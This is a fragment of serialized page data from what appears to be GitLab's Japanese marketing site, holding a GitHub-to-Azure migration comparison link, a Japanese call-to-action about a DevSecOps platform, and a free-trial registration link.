GitHub",{"href":802,"dataGaName":803,"dataGaLocation":255},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":805},{"src":780},{"header":807,"blurb":808,"button":809,"secondaryButton":813},"今すぐ開発をスピードアップ","DevSecOpsに特化したインテリジェントオーケストレーションプラットフォームで実現できることをご確認ください。\n",{"text":49,"config":810},{"href":811,"dataGaName":52,"dataGaLocation":812},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/ja-jp/","feature",{"text":54,"config":814},{"href":56,"dataGaName":57,"dataGaLocation":812},1777609502133]